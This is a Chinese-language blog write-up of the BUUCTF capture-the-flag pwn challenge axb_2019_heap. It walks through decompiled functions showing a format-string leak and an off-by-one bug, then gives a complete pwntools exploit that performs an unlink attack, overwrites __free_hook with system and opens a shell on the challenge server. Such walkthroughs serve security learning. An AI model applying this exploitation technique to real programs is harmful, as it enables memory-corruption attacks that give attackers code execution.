off-by-one+unlink BUUCTF axb_2019_heap
Ζ一道Ubuntu 16 的unlink,就当复习了一下(摸了好长时间快忘得一干二净了)
主函数:发现show这个函数没用
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 2 { 3 int v3; // [rsp+Ch] [rbp-4h] 4 5 init(argc, argv, envp); 6 banner(); 7 while ( 1 ) 8 { 9 menu(); 10 v3 = get_int(); 11 switch ( v3 ) 12 { 13 case 1: 14 add_note(); 15 break; 16 case 2: 17 delete_note(); 18 break; 19 case 3: 20 puts("None!"); 21 break; 22 case 4: 23 edit_note(); 24 break; 25 default: 26 puts("No such choices!"); 27 break; 28 } 29 } 30 }
banner函数:一个格式化字符串漏洞
1 unsigned __int64 banner() 2 { 3 char format[12]; // [rsp+Ch] [rbp-14h] BYREF 4 unsigned __int64 v2; // [rsp+18h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("Welcome to note management system!"); 8 printf("Enter your name: "); 9 __isoc99_scanf("%s", format); 10 printf("Hello, "); 11 printf(format); 12 puts("\n-------------------------------------"); 13 return __readfsqword(0x28u) ^ v2; 14 }
add函数:存在 off-by-one ,此外注意一下堆块大小要大于 0x80
1 unsigned __int64 add_note() 2 { 3 int v0; // ebx 4 int v1; // ebx 5 size_t size; // [rsp+0h] [rbp-20h] BYREF 6 unsigned __int64 v4; // [rsp+8h] [rbp-18h] 7 8 v4 = __readfsqword(0x28u); 9 printf("Enter the index you want to create (0-10):"); 10 __isoc99_scanf("%d", (char *)&size + 4); 11 if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 ) 12 { 13 if ( counts > 0xAu ) 14 { 15 puts("full!"); 16 exit(0); 17 } 18 puts("Enter a size:"); 19 __isoc99_scanf("%d", &size); 20 if ( key == 43 ) 21 { 22 puts("Enter the content: "); 23 v0 = HIDWORD(size); 24 *((_QWORD *)¬e + 2 * v0) = malloc((unsigned int)size); 25 *((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size; 26 if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) ) 27 { 28 fwrite("error", 1uLL, 5uLL, stderr); 29 exit(0); 30 } 31 } 32 else 33 { 34 if ( (unsigned int)size <= 0x80 ) 35 { 36 puts("You can't hack me!"); 37 return __readfsqword(0x28u) ^ v4; 38 } 39 puts("Enter the content: "); 40 v1 = HIDWORD(size); 41 *((_QWORD *)¬e + 2 * v1) = malloc((unsigned int)size); 42 *((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size; 43 if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) ) 44 { 45 fwrite("error", 1uLL, 5uLL, stderr); 46 exit(0); 47 } 48 } 49 if ( !(unsigned int)check_pass((char *)¬e + 16 * SHIDWORD(size)) ) 50 { 51 puts("go out!hacker!"); 52 exit(0); 53 } 54 get_input(*((_QWORD *)¬e + 2 * SHIDWORD(size)), (unsigned int)size); 55 ++counts; 56 puts("Done!"); 57 } 58 else 59 { 60 puts("You can't hack me!"); 61 } 62 return __readfsqword(0x28u) ^ v4; 63 }
delete函数:
1 unsigned __int64 delete_note() 2 { 3 int v1; // [rsp+4h] [rbp-Ch] BYREF 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("Enter an index:"); 8 __isoc99_scanf("%d", &v1); 9 if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) ) 10 { 11 free(*((void **)¬e + 2 * v1)); 12 *((_QWORD *)¬e + 2 * v1) = 0LL; 13 *((_DWORD *)¬e + 4 * v1 + 2) = 0; 14 --counts; 15 puts("Done!"); 16 } 17 else 18 { 19 puts("You can't hack me!"); 20 } 21 return __readfsqword(0x28u) ^ v2; 22 }
edit函数:
1 unsigned __int64 edit_note() 2 { 3 int v1; // [rsp+4h] [rbp-Ch] BYREF 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("Enter an index:"); 8 __isoc99_scanf("%d", &v1); 9 if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) ) 10 { 11 puts("Enter the content: "); 12 get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2)); 13 puts("Done!"); 14 } 15 else 16 { 17 puts("You can't hack me!"); 18 } 19 return __readfsqword(0x28u) ^ v2; 20 }
开了 PIE ,且 show 函数是假的,先利用格式化字符串漏洞泄露 libc 和基地址。
然后通过 off-by-one 来 unlink,改 chunk0 为 __free_hook,再向__free_hook里填 system 或 one_gadget 都可。
1 from pwn import * 2 context.log_level = 'debug' 3 context.arch = 'amd64' 4 5 #s = process('./1') 6 s = remote('node4.buuoj.cn',29510) 7 #libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') 8 libc = ELF('./libc-2.23buu.so') 9 def add(index,size,content): 10 s.recvuntil(b'>>') 11 s.sendline(b'1') 12 s.recvuntil(b'Enter the index you want to create (0-10):') 13 s.sendline(str(index)) 14 s.recvuntil(b'Enter a size:\n') 15 s.sendline(str(size)) 16 s.recvuntil(b'content:') 17 s.sendline(content) 18 19 def delete(index): 20 s.recvuntil(b'>> ') 21 s.sendline(b'2') 22 s.recvuntil(b'Enter an index:\n') 23 s.sendline(str(index)) 24 25 def edit(index,content): 26 s.recvuntil(b'>> ') 27 s.sendline(b'4') 28 s.recvuntil(b'Enter an index:\n') 29 s.sendline(str(index)) 30 s.recvuntil(b'Enter the content: ') 31 s.sendline(content) 32 33 s.recvuntil(b'name') 34 s.sendline(b'%11$p%15$p') 35 s.recvuntil(b'Hello, ') 36 base_addr = int(s.recv(14),16) - 0x1186 37 libc_base = int(s.recv(14),16) - libc.sym['__libc_start_main'] - 240 38 success('base_addr=>' + hex(base_addr)) 39 success('libc_base=>' + hex(libc_base)) 40 one_gadget = libc_base + 0x4526a 41 system_addr = libc_base + libc.sym['system'] 42 __free_hook = libc_base + libc.sym['__free_hook'] 43 note_addr = base_addr + 0x202060 44 success('note_addr=>' + hex(note_addr)) 45 46 fd = note_addr - 0x18 47 bk = note_addr - 0x10 48 add(0,0x88,b'aaaaaaaaaaa') #0 49 add(1,0x88,b'bbbbbbbbbbb') #1 50 add(2,0x88,b'/bin/sh\x00') #2 51 52 payload = p64(0) + p64(0x80) 53 payload+= p64(fd)+ p64(bk) 54 payload = payload.ljust(0x80,b'\x00') + p64(0x80) 55 payload+= p8(0x90) 56 edit(0,payload) 57 58 delete(1) 59 60 payload = p64(0)*3 + p64(__free_hook) + p64(0x10) 61 edit(0,payload) 62 #edit(0,p64(one_gadget)) 63 edit(0,p64(system_addr)) 64 65 #gdb.attach(s) 66 67 s.interactive() 68 ''' 69 0x45216 execve("/bin/sh", rsp+0x30, environ) 70 constraints: 71 rax == NULL 72 73 0x4526a execve("/bin/sh", rsp+0x30, environ) 74 constraints: 75 [rsp+0x30] == NULL 76 77 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 78 constraints: 79 [rsp+0x50] == NULL 80 81 0xf1147 execve("/bin/sh", rsp+0x70, environ) 82 constraints: 83 [rsp+0x70] == NULL 84 '''
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15751027.html